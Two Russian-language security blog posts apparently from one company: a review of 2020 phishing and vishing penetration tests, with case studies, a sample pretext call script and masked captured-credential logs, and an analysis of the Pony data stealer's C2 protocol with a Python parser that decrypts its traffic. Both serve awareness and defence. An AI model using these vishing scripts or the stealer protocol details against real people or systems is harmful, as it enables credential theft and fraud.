Формат тестирования	письма со ссылкой на поддельный ресурс (фишинг) письма с исполняемым вложением (нагрузка) телефонное взаимодействие (вишинг)	письма со ссылкой на поддельный ресурс (фишинг) письма с исполняемым вложением (нагрузка)	письма со ссылкой на поддельный ресурс (фишинг) письма с исполняемым вложением (нагрузка) телефонное взаимодействие (вишинг)	письма со ссылкой на поддельный ресурс (фишинг) письма с исполняемым вложением (нагрузка)
Начальные условия	ФИО сотрудников и email-адреса номера телефонов, ФИО и/или должности сотрудников, а также любая другая информация согласно легенде добавление в белые списки (email-адреса, домены, СЗИ и т.д.)	ФИО сотрудников и email-адреса	ФИО сотрудников и email-адреса номера телефонов, ФИО и/или должности сотрудников, а также любая другая информация согласно легенде добавление в белые списки (email-адреса, домены, СЗИ и т.д.)	входная информация не предоставляется
Время на подготовку	Одна неделя	Две недели	Одна-две недели	Три недели

Теория, теория Где же обещанные истории?

Да-да. Раз обещали рассказать про опыт, то и историями поделимся. Основные моменты мы расскажем немного позже в кейсах. А сейчас немного отвлечемся на различные ошибки и просто любопытные моменты.

Очевидно, что одинаковое понимание целей и процедуры проведения социотехнического тестирования обеими сторонами (источником и потребителем), участвующими в тестировании, позволяет избежать ошибок, которые тормозят, угрожают срывом тестирования и негативно влияют на результаты.

Как показывает практика, ошибки, вызванные недопонимаем сторон, встречаются достаточно часто. Например, со стороны компаний, заказывающих социотехническое тестирование, нас поджидали следующие неожиданности:

затягивание согласования легенды и предоставления адресов почты для рассылки
предоставление неактуального списка сотрудников
многократная отработка одной легенды на одних и тех же сотрудниках
загрузка подготовленной полезной нагрузки в используемое СЗИ (да-да, здесь речь про проверку осведомленности/подготовленности сотрудников, а не СЗИ...)
добавление сотрудников ИТ/ИБ-отделов в рабочую переписку (при том что их уровень осведомленности и проверялся)

Но будем честны эксперты тоже не застрахованы от подобных ошибок, влияющих на результаты тестирования. И вот одна из них:

Представим, что в компании N проводится несколько социотехнических тестирований, каждое из которых включает телефонное взаимодействие с сотрудниками. Список сотрудников и их контакты предоставлял представитель компании.

Первое телефонное взаимодействие было успешным: ряд сотрудников, поддавшись на уговоры эксперта, совершили потенциально опасные действия.

Второе тестирование тоже: сотрудники поверили легенде и охотно выполнили все, о чем их попросили.

А вот третье тестирование закончилось, не успев начаться. Уже на втором звонке легенда была раскрыта, сотрудник сказал, что дважды на одну удочку не попадется и оповестит о тестировании всех сотрудников, включая службу безопасности. Тестирование пришлось остановить.

Шок! Как так? Поиск ошибки начали с повторной проверки списка сотрудников, заявленных на каждое из трех тестирований. Совпадений нет. Потом проверили номера телефонов И вот он один номер телефона, только в первом тестировании он заявлен для Ивановой Анны Сергеевны, а в третьем для Петровой Анны Сергеевны (здесь и далее используются вымышленные имена). За время, прошедшее между тестированиями, девушка сменила фамилию.

В ходе первого тестирования Иванова Анна Сергеевна поверила в легенду и выполнила все действия, следуя указаниям эксперта, а вот Петрова Анна Сергеевна быстро поставила на место нерадивого эксперта.

Получается, что ошибка была допущена на этапе подготовки: эксперт проверил только фамилии сотрудников, но проигнорировал номера телефонов.

Что из этого можно вынести? На ошибках учатся, и теперь мы внимательнее проверяем списки сотрудников, по разным критериям, разрабатываем сценарии отхода, а эксперты делятся друг с другом своими ошибками на Вики-страницах, чтобы не повторять их.

Разбираем тренды уходящего года

Форматы социотехнического тестирования

Мы покажем сводную статистику по всем социотехническим тестированиям, которые мы провели в 2020 году, а также разберем кейсы наиболее интересных и показательных проектов.

В проектах использовались следующие форматы социотехнического тестирования:

рассылка фишинговых писем со ссылкой на поддельный ресурс 52%
рассылка фишинговых писем с исполняемым вложением 36%
телефонные звонки (вишинг) 12%

Самым результативным (отношение количества попавшихся к общему числу получателей) из представленных форматов стал вишинг 37%.

О высокой результативности вишинга знают не только эксперты по информационной безопасности, но и реальные злоумышленники, а также различные блогеры и репортеры. Ведь не просто так в последние годы количество вишинг-атак растет.

2020 год отметился настоящим бумом вишинга как в плане звонков от самих злоумышленников, так и в плане расследований СМИ. В этом году легенды вишинга стали более разнообразны и изобретательны: предложение медицинских и юридических услуг, звонки от лица сотрудника прокуратуры, и не стоит забывать о классике расследование подозрительного перевода банком (порядком приевшийся прием, но, к сожалению, все еще работающий).

Высокая результативность вишинга объясняется следующими моментами:

Заранее известна информация, которую нужно получить. Это позволяет сформировать сценарий разговора, проработать вопросы, которые надо задать для достижения цели. Есть возможность подготовить пути отхода, если собеседник начнет что-то подозревать.
Большой объем работ по сбору информации о сотрудниках и компании, которая используется для формирования легенды и сценария разговора. Например:

о сотрудниках: ФИО, номер мобильного телефона, добавочный номер, адрес корпоративной электронной почты, ник в телеграмме, отдел, в котором работает сотрудник, его должность, дата рождения и фото;

о компании: наименования подразделений и имена руководителей ключевых подразделений; используемые внутренние системы.
В разговоре используется информация, которая указывает на осведомленность эксперта во внутренних процессах компании; отсылки на распоряжения, якобы полученные от начальников структурных подразделений компании. Например:

Эксперт: Здравствуйте, Татьяна Игоревна! Звоню вам по просьбе руководителя Владимира Алексеевича Кузнецова. У нас произошел инцидент ИБ: по вашему пропуску сегодня через систему контроля управления доступом был зафиксирован проход в хранилище M.
Эксперт демонстрирует эмоциональную заинтересованность в сложившейся ситуации или схожие интересы, чтобы притупить внимание собеседника:

Эксперт: Вы пользуетесь ноутбуком только как рабочим компьютером или по каким-то еще личным делам?
Сотрудник: Ну, смотрю YouTube еще.
Эксперт: Да-да, я понимаю. Не переживайте. Просто возможно, что ваша доменная учетная запись была скомпрометирована и с ее помощью смогли пройти через СКУД.

Также следует помнить про внезапность звонка (человек может не понять, кто звонит) и возможность подмены номера. Таким образом, все перечисленные приемы позволяют увеличить доверие со стороны сотрудника и ослабить его бдительность.

Что касается диалогов выше, все они приведены из реального разговора, который состоялся в рамках проекта по вишингу. В кейсе 1 подробнее рассказываем про проект и его результаты.

Кейс 1

Цель: получить информацию разной степени критичности (компания определила информацию, которую считала конфиденциальной).
Легенда: сотрудника уведомляют об инциденте ИБ его пропуск использовали для несанкционированного прохода через СКУД в хранилище М. Служба безопасности расследует инцидент и звонит, чтобы узнать текущее местоположение пропуска, где находился пропуск в рабочее время, существуют ли альтернативные способы для прохождения СКУД. Звонят в нерабочее время (выходной день). Эксперт должен убедить сотрудника проверить доменную учетную запись на факт компрометации сотрудника просят аутентифицироваться на резервном портале (фишинговый ресурс).

Количество участников и инфраструктура под спойлером

Количество участников: 50 человек.
Инфраструктура: поддельный домен, поддельный корпоративный портал, который при вводе учетных данных перенаправлял сотрудника на оригинальный портал.

Вернемся к Татьяне Игоревне и информации, которую она предоставила за время разговора:

использует пропуск и специальный браслет для прохождения СКУД
пропуск и браслет находятся дома
использует корпоративную электронную почту дома
предоставила свои учетные данные, введя их на фишинговом ресурсе:

02.03.2020 13:48:25#0.2.0.2#ida****:rsa****55#Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 YaBrowser/19.3.1.828 Yowser/2.5 Safari/537.36

Компания остановила тестирование сотрудников после того как:

29 телефонных взаимодействий было нами произведено;
23 сотрудника раскрыли конфиденциальную информацию различного уровня критичности.

Как видно из примера, вишинг может использоваться не только для получения личной или конфиденциальной информации, но и для получения прямого доступа к инфраструктуре.

Какие могут быть результаты

Если сравнивать результативность рассылки фишинговых писем со ссылками на поддельный ресурс и писем с исполняемым вложением, то лидирует первый тип.

Один из ключевых факторов успеха в том, что рядовой сотрудник зачастую не разбирается в доменах, поддоменах и пр. Как следствие, он не видит разницы между portal-domain.ru и portal.domain.ru. Слова и порядок их употребления совпадают и там, и там, а вот символов можно пропустить по невнимательности или в спешке.

В свою очередь, рассылка фишинговых писем с исполняемым вложением предполагает большую вовлеченность со стороны сотрудников, поэтому данный формат тестирования показывает наименьшую результативность.

Однако сотрудники, открывшие вредоносные вложения, чаще вступают в переписку с экспертами, чем при работе с фишинговым ресурсом. Это позволяет эксперту продолжать воздействие для достижения своих целей.

Например, в попытке спасти якобы утерянные данные об отпусках сотрудники присылали не только свой график отпуска, но и файл на весь отдел, а там тысячи сотрудников со всеми данными и структура компании.

Также сотрудники часто пересылают письма своим коллегам.

Кейс 2

Цель: оценить осведомленность сотрудников в вопросах информационной безопасности.
Легенда: ознакомиться с новой системой премирования. К письму прилагался документ Премии.xls.

Количество участников и инфраструктура под спойлером

Количество участников: 75 человек.
Инфраструктура: поддельный домен, поддельный почтовый адрес (якобы принадлежащий отделу по работе с персоналом), вредоносная нагрузка, которая выполнялась в ОС удаленного компьютера, обеспечивала соединение с ним и собирала данные о конфигурации ОС.

За время тестирования удалось успешно подключиться к компьютерам 11 сотрудников (14% участников). Столкнувшись якобы с проблемой в работе документа, сотрудники вступали в переписку с экспертами в том числе и не заявленные в тестировании сотрудники.

Пример одной из таких переписок ниже:

В итоге сотрудник прислал ответное письмо, которое содержало скриншот рабочего стола.

Окей, возвращаемся к тенденциям

В 2020-м стали чаще появляться новости о том, что злоумышленники используют фишинг и вишинг в рамках одной атаки. К примеру, в начале декабря сообщалось, что злоумышленники рассылают уведомления о долгах за ЖКУ в размере 1020 тысяч рублей, которые якобы появились за время карантина, и просят оплатить поддельные квитанции онлайн.

Если человек проигнорировал письмо ему звонили от имени сотрудника управляющей компании для проверки ранее совершенных платежей. Преступники убеждали, что долг по квартплате есть, и узнавали способы оплаты и реквизиты карты, которая использовалась для платежа, а затем предлагали сделать пробную транзакцию и сообщить им код из SMS.

Для нас это не было новостью, и к тому моменту мы уже опробовали подобную схему на некоторых проектах: сначала рассылали сотрудникам фишинговые письма, а в случае низкого отклика звонили и в ходе разговора провоцировали сотрудника открыть файл или перейти по ссылке и выполнить действия, указанные в письме, или узнавали, почему он отказался выполнять инструкцию.

В результате сотрудники, которые изначально не хотели переходить по ссылке или не были заинтересованы в предлагаемой акции, меняли отношение к нашему фишинговому письму и, поддавшись на уговоры эксперта, делали то, что угрожало безопасности компании.

Таким образом, проекты, в которых одновременно использовались фишинг и вишинг, оказались более результативными, чем те, где использовался только фишинг. Сотрудники, которые подозревали, что проводится тестирование, меняли свое мнение, верили в легитимность писем и охотно шли на контакт с экспертами.

Примечание: для построения третьей диаграммы использовались общие результаты тестирования в формате фишинговых рассылок, дополняемые вишинг-активностью.

Легенды

Следует отметить, что при разработке легенды учитывается сфера деятельности компании и основной вид деятельности тестируемых сотрудников, но в основе всегда лежит сильная эмоция, которая притупляет внимание и провоцирует на необдуманные действия: жадность, любопытство, страх, доверчивость.

Ниже представлены основные примеры легенд:

Изменение в графике работы
Изменение в IT-системах
Система премирования
Скидки и бонусы
События в компании

Самой результативной легендой было информирование об изменениях в системе премирования.

Кроме того, упоминание легитимного сервиса, используемого многими компаниями, такого как Office 365, повышает доверие сотрудника. Такой подход часто используют реальные злоумышленники для проведения социотехнических атак.

Реалии 2020-го привнесли новое веяние в легенды социотехнического тестирования, да и реальных атак тоже. На первый план вышла коронавирусная инфекция и все, что с ней связано.

Когда коронавирус только начинался, компании просили не использовать его в качестве легенды, поскольку отсылка к столь актуальной теме гарантировала высокую результативность и негативно сказывалась на настроении сотрудников. Мы отвечали, что реальные злоумышленники не так этичны и активно используют эту легенду с начала пандемии, но получали категорический отказ. В результате табу на использование COVID-19 было снято с введением новых ограничительных мер осенью. Возможно, именно в этот момент компании осознали, что коронавирус с нами надолго и его игнорирование может привести к рискам.

Первый же проект с COVID-19 продемонстрировал неослабевающий интерес людей к данной тем и, как следствие, больше половины участников тестирования выполнили потенциально опасные действия.

Пожалуйста, прислушивайтесь к экспертам при выборе легенд.

Кейс 3

Цель: оценить осведомленность сотрудников в вопросах информационной безопасности.
Легенда: проверить сервис удаленного доступа, поскольку сотрудники переходят на удаленную работу из-за COVID-19. Для проверки доступа надо ввести учетные данные от рабочего компьютера на фишинговой странице, которая копировала страницу входа на VPN-портал.

Количество участников и инфраструктура под спойлером

Количество участников: 150 человек.
Инфраструктура: поддельный домен, поддельный почтовый адрес (якобы принадлежащий ИТ-отделу), поддельная страница входа на VPN-портал.

Пример письма для рассылки:

Мы получили следующие результаты:

Нужно больше тестирований или что будет в периоде

Каждая подобная статья заканчивается списком рекомендаций, которые позволят повысить осведомленность сотрудников в вопросах информационной безопасности.

К примеру, проверять источник письма или путь, по которому ведет ссылка. В целом, разумная рекомендация, но на практике не всегда работает. Вот смотрите: сотрудник, который получает 15 писем в день (возможно, среди читателей найдутся те, кто мечтает получать *всего* 15 писем в день), а чтение и участие в переписке не его основной вид деятельности, не будет до буквы, до знака проверять адрес отправителя или сверять его ФИО с корпоративным списком контактов.

Он увидит знакомый набор символов (самое время вспомнить про portal-domain.ru и portal.domain.ru), а должность отправителя и тема письма определят, в какую очередь он ответит на письмо. Возможно, ответная реакция на фишинговое письмо случится не сразу, но в свое время ссылка будет открыта, а исполняемое вложение запущено.

Еще одна типичная рекомендация регулярные тестирования персонала. Это замечательно, но тоже не всегда работает. Почему смотрите в кейсе 4.

Кейс 4

Компания М время от времени организовывала социотехническое тестирование своих сотрудников. Какого-то ощутимого прогресса в знаниях основ информационной безопасности не наблюдалось: сотрудники продолжали переходить по ссылкам, вступать в переписку и выполнять просьбы.

Чтобы продемонстрировать, что положительная динамика возможна только при регулярном тестировании, решили провести четыре социотехнических тестирования в течение года (в начале каждого квартала). Все тестирования проводились в одном формате, но под разными легендами, а участвовали в них сотрудники одного подразделения.

Результат регулярного тестирования оказался таким же, как и у нерегулярного: сотрудники переходили по ссылкам, вступали в переписку и раскрывали конфиденциальную информацию. Результативность отдельного тестирования в большей степени определялась актуальностью легенды. В 3 квартале легенда с COVID-19 заставила людей забыть о тренингах, наставлениях и рекомендациях.

Даже сотрудники с достаточными знаниями, умеющие распознавать атаки социальной инженерии, склонны проявлять халатное отношение к социотехническому тестированию: раз это очередной тест, то нет ничего страшного, если написать все, что думаешь по этому поводу. Вот только где уверенность, что это не реальная атака?

Кейс 5

В этом примере демонстрируем, как выявленное на ранних этапах социотехническое тестирование оказалось результативным только из-за того, что сотрудники, распознавшие тестирование, не оповестили о нем коллег.

Цель: получить валидные учетные данные сотрудников.
Легенда: проверить наличие доступа к новому корпоративному порталу.

Количество участников и инфраструктура под спойлером

Количество участников: 200 человек.
Инфраструктура: поддельный домен, поддельный почтовый адрес (якобы принадлежащий отделу техподдержки), поддельный корпоративный портал, который при вводе учетных данных перенаправлял сотрудника на оригинальный портал.

Активная фаза социотехнического тестирования началась 11 февраля 2020 года в 13:30 (МСК).

Первые учетные данные мы получили через 4 минуты:

Дата и время	IP-адрес / MAC-адрес	Введенные логин и пароль	Общая информация о конфигурации рабочей станции
11.02.2020 13:34	0.0.0.1	ni*******a:V****v	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36
11.02.2020 13:34	0.0.0.6	mi**a:2****aB3	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

Примерно через 30 минут после начала тестирования получили данные, явно указывающие, что легенда раскрыта и сотрудники либо догадались о проводимом тестировании, либо заподозрили атаку: вместо учетных данных в логах собиралась ненормативная лексика.

Дата и время	IP-адрес / MAC-адрес	Введенные логин и пароль	Общая информация о конфигурации рабочей станции
11.02.2020 14:02	0.0.0.71	Idi * sobaka:ahahhahaha	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36

Судя по полученным результатам (IP-адрес и информация о рабочей станции), мы подозревали, что это администратор. К этому моменту получили уже 37 учетных данных. Цель достигнута!

Тестирование можно сворачивать и садиться за отчет, но сотрудники продолжали вводить учетные данные. Последний ввод данных был зафиксирован 17 февраля. Следовательно, сотрудники, распознавшие тестирование (или атаку), не предупредили об этом своих коллег.

Дата и время	IP-адрес / MAC-адрес	Введенные логин и пароль	Общая информация о конфигурации рабочей станции
17.02.2020 14:08	0.0.0.55	Ty******v:T********rah	Mozilla/5.0 (iPhone; CPU iPhone OS 12_1_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1

Всего получили 76 уникальных учетных данных. Валидность каждой пары была подтверждена.

Подобное поведение показывает, что сотрудники не до конца понимают, как себя вести при выявлении социотехнической атаки. Важно научить не только распознавать социотехнические атаки, но и правильно на них реагировать.

В случае распознавания атаки или социотехнического тестирования сотрудник не должен идти на контакт со злоумышленником (или экспертом) ни при каком условии и должен немедленно оповестить ответственных за информационную безопасность.

Итоги, проблемы и рекомендации

Наверное, уже пора заканчивать со всеми этими рассказами и историями.

Может показаться, что конец какой-то пессимистичный (какой год такой и конец): сотрудники необучаемы, рассеяны и бизнес все еще в опасности.

На самом деле все не так плохо и не стоит отчаиваться. Обращайтесь к экспертам в области практической безопасности они расскажут об актуальных тенденциях в социотехнических атаках, порекомендуют лучший именно для вас формат тестирования.

Также не забывайте о простых правилах цифровой гигиены и рекомендациях по повышению осведомленности в ИБ.

Мы уже говорили, что в интернете достаточно статей о социотехническом тестировании (такая есть и у нас), а также статей с рекомендациями по повышению защиты. Поэтому хотим в очередной раз просто напомнить, что здесь нужен комплексный подход, а значит следует помнить о:

регулярном обучении и опросе сотрудников
понятной поставке материалов и гайдов (Вики-страницы, видео и т.п.)
обязательной двухфакторной аутентификации
разграничении доступа и минимизации прав пользователей
хорошей фильтрации электронной почты
средствах защиты от целенаправленных атак

Возвращаясь к основному вопросу: что же выбрать в 2021-м?

Мы решили оставить его на размышление вам. Рекомендуем попробовать фишинг + вишинг или только вишинг. Поможет сотрудникам не только в корпоративной среде, но и при подобных атаках в нерабочей обстановке.

Главное, про что стоит помнить: обучение и социотехнические тестирования должны быть направлены на формирование культуры поведения, которая позволит своевременно выявлять и эффективно реагировать на различные атаки.

Стоит сместить фокус с заучивания обязательных действий по обнаружению социотехнических атак на объяснение, почему их должен выполнять каждый сотрудник в компании. Без осознанного подхода к информационной безопасности со стороны сотрудников ни одна обучающая программа не сработает.

Подробнее..

Категории: Информационная безопасность , Pentest , It-компании , Исследования и прогнозы в it , Cybersecurity , Кибербезопасность , Блог компании group-ib , Социальная инженерия , Пентест , Information security , Penetration testing , Обучение сотрудников , Тест на проникновение , Social engineering

Старый конь борозды не испортит как стилер Pony крадет данные и где их потом искать

28.01.2021 12:17:06 |

Автор: admin

Если помните, недавно у нас выходила статья про молодой, но уже подающий надежды data stealer Loki. Тогда мы подробно рассмотрели этот экземпляр (версия 1.8), получили представление о работе бота и освоили инструмент, облегчающий реагирование на события, связанные с этим ВПО. Для более полного понимания ситуации, давайте разберем еще одно шпионское ПО и сравним исследованных ботов. Сегодня мы обратим внимание на Pony более старый, но не менее популярный образец data stealerа. Никита Карпов, аналитик CERT-GIB, расскажет, как бот проникает на компьютер жертвы и как вычислить похищенные данные, когда заражение уже произошло.

Разбор функциональности бота

Впервые Pony был замечен в 2011 году и все еще продолжает использоваться. Как и в ситуации с Loki, популярность этого ВПО обусловлена тем, что несколько версий бота вместе с панелью администратора можно без проблем найти в сети. Например, здесь.

Экземпляр Pony, который мы будем изучать, защищен тем же самым упаковщиком, что и Loki, рассмотренный в предыдущей статье. По этой причине не будем еще раз останавливаться на процессе получения чистого ВПО и перейдем сразу к более интересным моментам. Единственное, что следует упомянуть перед разбором ВПО, ссылка на сервер, по которой мы определяем нужный PE-файл, оканчивается на gate.php, и это один из индикаторов Pony.

При исследовании дизассемблированного кода Pony обратим внимание на участок, содержащий главные функции. Интерес представляют две из них Initialize_Application и CnC_Func (названия функций переименованы в соответствии с их содержанием).

Ниже представлена функция Initialize_Application. Она отвечает за инициализацию необходимых элементов (библиотеки, привилегии и т.д.) и за похищение данных. В процессе работы ВПО несколько раз использует значение 7227 пароль к данному экземпляру бота. В Initialize_Application это значение используется для шифрования буфера, содержащего данные приложений, алгоритмом RC4.

Далее перейдем к декомпилированному коду функции CnC_Func и разберем ее алгоритм:

Буфер, полученный в результате работы функции Initialize_Application, передается в функцию BuildPacket, где собирается пакет данных для передачи на сервер.
По каждому URI из списка бот отправляет данные и ожидает подтверждения со стороны сервера. Если сервер не ответил 3 раза бот идет дальше.
После завершения первого списка CnC бот пытается загрузить и запустить дополнительное ВПО.

В общем доступе находится готовый билдер, который подтверждает функционал, полученный в процессе статического анализа декомпилированного кода. Пользователю предлагается ввести список URI, куда будут выгружаться похищенные данные, и список, откуда будет выгружаться дополнительное ВПО. Также пользователь может изменить пароль бота и имя дополнительного ВПО.

Pony атакует более сотни приложений, и, хотя у него есть функционал загрузчика, в основном Pony используется именно для похищения пользовательских данных. В таблице ниже перечислены все приложения, из которых бот может похитить данные.

ID	Приложение	ID	Приложение	ID	Приложение
0	System Info	45	FTPGetter	90	Becky!
1	FAR Manager	46	ALFTP	91	Pocomail
2	Total Commander	47	Internet Explorer	92	IncrediMail
3	WS_FTP	48	Dreamweaver	93	The Bat!
4	CuteFTP	49	DeluxeFTP	94	Outlook
5	FlashFXP	50	Google Chrome	95	Thunderbird
6	FileZilla	51	Chromium / SRWare Iron	96	FastTrackFTP
7	FTP Commander	52	ChromePlus	97	Bitcoin
8	BulletProof FTP	53	Bromium (Yandex Chrome)	98	Electrum
9	SmartFTP	54	Nichrome	99	MultiBit
10	TurboFTP	55	Comodo Dragon	100	FTP Disk
11	FFFTP	56	RockMelt	101	Litecoin
12	CoffeeCup FTP / Sitemapper	57	K-Meleon	102	Namecoin
13	CoreFTP	58	Epic	103	Terracoin
14	FTP Explorer	59	Staff-FTP	104	Bitcoin Armory
15	Frigate3 FTP	60	AceFTP	105	PPCoin (Peercoin)
16	SecureFX	61	Global Downloader	106	Primecoin
17	UltraFXP	62	FreshFTP	107	Feathercoin
18	FTPRush	63	BlazeFTP	108	NovaCoin
19	WebSitePublisher	64	NETFile	109	Freicoin
20	BitKinex	65	GoFTP	110	Devcoin
21	ExpanDrive	66	3D-FTP	111	Frankocoin
22	ClassicFTP	67	Easy FTP	112	ProtoShares
23	Fling	68	Xftp	113	MegaCoin
24	SoftX	69	RDP	114	Quarkcoin
25	Directory Opus	70	FTP Now	115	Worldcoin
26	FreeFTP / DirectFTP	71	Robo-FTP	116	Infinitecoin
27	LeapFTP	72	Certificate	117	Ixcoin
28	WinSCP	73	LinasFTP	118	Anoncoin
29	32bit FTP	74	Cyberduck	119	BBQcoin
30	NetDrive	75	Putty	120	Digitalcoin
31	WebDrive	76	Notepad++	121	Mincoin
32	FTP Control	77	CoffeeCup Visual Site Designer	122	Goldcoin
33	Opera	78	FTPShell	123	Yacoin
34	WiseFTP	79	FTPInfo	124	Zetacoin
35	FTP Voyager	80	NexusFile	125	Fastcoin
36	Firefox	81	FastStone Browser	126	I0coin
37	FireFTP	82	CoolNovo	127	Tagcoin
38	SeaMonkey	83	WinZip	128	Bytecoin
39	Flock	84	Yandex.Internet / Ya.Browser	129	Florincoin
40	Mozilla	85	MyFTP	130	Phoenixcoin
41	LeechFTP	86	sherrod FTP	131	Luckycoin
42	Odin Secure FTP Expert	87	NovaFTP	132	Craftcoin
43	WinFTP	88	Windows Mail	133	Junkcoin
44	FTP Surfer	89	Windows Live Mail

Взаимодействие с сервером

Рассмотрим подробнее сетевое взаимодействие Pony. Как мы уже говорили, Pony сначала выгружает похищенные данные приложений на удаленный сервер, и индикатором такой коммуникации служит gate.php. После этого Pony просматривает второй список ссылок, откуда он пытается загрузить дополнительное ВПО на зараженный компьютер.

Для подтверждения того, что сервер получил и прочитал данные, бот должен получить в ответ строку STATUS-IMPORT-OK, иначе бот считает, что сервер не получил данные.

Данные, передаваемые на сервер, надежно защищаются шифрованием и компрессией. Защиту данных определяет заголовок, который идет перед ними. Стандартная защита пакета выглядит так:

Данные в чистом виде с заголовком PWDFILE0.
Сжатые данные с заголовком PKDFILE0. Для сжатия используется библиотека aPLib, работа которой основана на алгоритме компрессии LZW.
Зашифрованные данные с заголовком CRYPTED0 и ключом в виде пароля, например, 7227 или PA$$. Для шифрования используется алгоритм RC4.
Зашифрованные алгоритмом RC4 данные, ключ указан в первых 4 байтах.

Размер	Значение	Описание
0x4	rc_4key	Ключ для верхнего уровня шифрования
0x12	REPORT_HEADER (PWDFILE0/ PKDFILE0/ CRYPTED0)	Заголовок отчета о похищенных данных (normal/packed/crypted) 8 байт заголовок, и 4 байта контрольная сумма CRC32
0x4	Версия отчета	Версия отчета о похищенных данных (константное значение 01.0)
0x4	Размер модуля	Заголовок модуля, присутствует у каждого модуля
0x8	ID заголовка модуля (chr(2).chr(0)."MODU".chr(1).chr(1)) 2 байта, ключевое слово MODU, 1 байт, 1 байт
0x2	ID модуля
0x2	Версия модуля
-	Название системы пользователя	Модуль module_systeminfo (module id = 0x00000000) Содержит информацию о системе пользователя
0x2	Система x32 или x64
-	Страна пользователя
-	Язык системы пользователя
0x2	Является ли пользователь администратором
-	Значение MachineGuid из приложения WinRAR
-	Список модулей всех приложений	По аналогии с модулем module_systeminfo записаны данные всех приложений

Парсер сетевых коммуникаций

Как и для Loki, напишем парсер на Python, используя следующие библиотеки:

Dpkt для поиска пакетов, принадлежащих Pony, и работы с ними.
aPLib для декомпрессии данных.
Hexdump для представления данных пакета в хексе.
JSON для записи найденной информации в удобном виде.

Рассмотрим основные части алгоритма работы скрипта:

for ts, buf in pcap:    eth = dpkt.ethernet.Ethernet(buf)    if not isinstance(eth.data, dpkt.ip.IP):        ip = dpkt.ip.IP(buf)    else:        ip = eth.data    if isinstance(ip.data, dpkt.tcp.TCP):        tcp = ip.data        try:            if tcp.dport == 80 and len(tcp.data) > 0:  # HTTP REQUEST                if str(tcp.data).find('POST') != -1:                    http += 1                    httpheader = tcp.data                    continue                else:                    if httpheader != "":                        pkt = httpheader + tcp.data                        req += 1                        request = dpkt.http.Request(pkt)                        parsed_payload['Network'].update({'Request method': request.method})                        uri = request.headers['host'] + request.uri                        parsed_payload['Network'].update({'CnC': uri})                        parsed_payload['Network'].update({'User-agent': request.headers['user-agent']})                        if uri.find("gate.php") != -1:                            parsed_payload['Network'].update({'Traffic Purpose': "Exfiltrate Stolen Data"})                            parse(tcp.data, debug)                        elif uri.find(".exe") != -1:                            parsed_payload['Network'].update({'Traffic Purpose': "Download additional malware"})                        print(json.dumps(parsed_payload, ensure_ascii=False, sort_keys=False, indent=4))                        parsed_payload['Network'].clear()                        parsed_payload['Malware Artifacts/IOCs'].clear()                        parsed_payload['Compromised Host/User Data'].clear()                        parsed_payload['Applications'].clear()                        print("----------------------")            if tcp.sport == 80 and len(tcp.data) > 0:  # HTTP RESPONCE                resp += 1                response = dpkt.http.Response(tcp.data)                if response.body.find(b'STATUS-IMPORT-OK') != -1:                    AdMalw = True                    print('Data imported successfully')                else:                    print('C2 did not receive data')                print("----------------------")        except(dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError):            continueprint("Requests: " + str(req))print("Responces: " + str(resp))

Поиск пакетов, связанных с Pony, аналогичен поиску пакетов Loki. Ищем все HTTP-пакеты. Парсим запросы, в которых находится информация бота. Остальные запросы фиксируются, но данные в них не обрабатываются. Если в ответ на запрос получена строка STATUS-IMPORY-OK отмечаем успешную выгрузку данных. Во всех других случаях считаем, что сервер не получил данные. Если после выгрузки данных найдены HTTP-запросы с URI, оканчивающимся на .exe отмечаем загрузку дополнительного ВПО.

Рассмотрим функцию, отвечающую за снятие всей защиты с данных и импорт модулей:

def process_report_data(data, debug):    index = 0    if len(str(data)) == 0:        return False    elif len(str(data)) < 12:        return False    elif len(str(data)) > REPORT_LEN_LIMIT:        return False    elif len(str(data)) == 12:        return True    if verify_new_file_header(data):        rand_decrypt(data)    report_id = read_strlen(data, index, 8)    index += 8    if report_id == REPORT_CRYPTED_HEADER:        parsed_payload['Malware Artifacts/IOCs'].update({'Crypted': report_id.decode('utf-8')})        decrypted_data = rc4DecryptText(report_password, data[index:len(str(data))])        data = decrypted_data        index = 0        report_id = read_strlen(data, index, 8)        index += 8    if report_id == REPORT_PACKED_HEADER:        parsed_payload['Malware Artifacts/IOCs'].update({'Packed': report_id.decode('utf-8')})        unpacked_len = read_dword(data, index)        index += 4        leng = read_dword(data, index)        index += 4        if leng < 0:            return False        if not leng:            return ""        if index + leng > len(str(data)):            return False        packed_data = data[index:index + leng]        index += leng        if unpacked_len > REPORT_LEN_LIMIT or len(str(packed_data)) > REPORT_LEN_LIMIT:            return False        if not len(str(packed_data)):            return False        if len(str(packed_data)):            data = unpack_stream(packed_data, unpacked_len)        if not len(str(data)):            return False        if len(str(data)) > REPORT_LEN_LIMIT:            return False        index = 0        report_id = read_strlen(data, index, 8)        index += 8    if report_id != REPORT_HEADER:        print("No header")        return False    version_id = read_strlen(data, index, 3)    index += 8    if version_id != REPORT_VERSION:        return False    parsed_payload['Malware Artifacts/IOCs'].update({'Data version': version_id.decode('utf-8')})    hexdump.hexdump(data)    report_version_id = version_id    parsed_payload['Applications'].update({'Quantity': 0})    while index < len(data):        index = import_module(data, index, debug)    return data

После снятия обязательного шифрования, определяем метод снятия следующего уровня защиты в зависимости от заголовка. Если присутствует дополнительное шифрование с заголовком CRYPTED0 скрипт пытается подставить стандартный ключ, и при несоответствия ключа запрашивает файл ВПО, в котором находит используемый в этом боте пароль. Если заголовок данных PWDFILE0 начинаем импорт модулей приложений.

Для расшифровки мы использовали алгоритм RC4:

def rc4DecryptHex(key, pt):    if key == '':        return pt    s = list(range(256))    j = 0    for i in range(256):        j = (j + s[i] + key[i % len(key)]) % 256        s[i], s[j] = s[j], s[i]    i = j = 0    ct = []    for char in pt:        i = (i + 1) % 256        j = (j + s[i]) % 256        s[i], s[j] = s[j], s[i]        ct.append(chr(char ^ s[(s[i] + s[j]) % 256]))    decrypted_text = ''.join(ct)    data = decrypted_text.encode('raw_unicode_escape')    return data

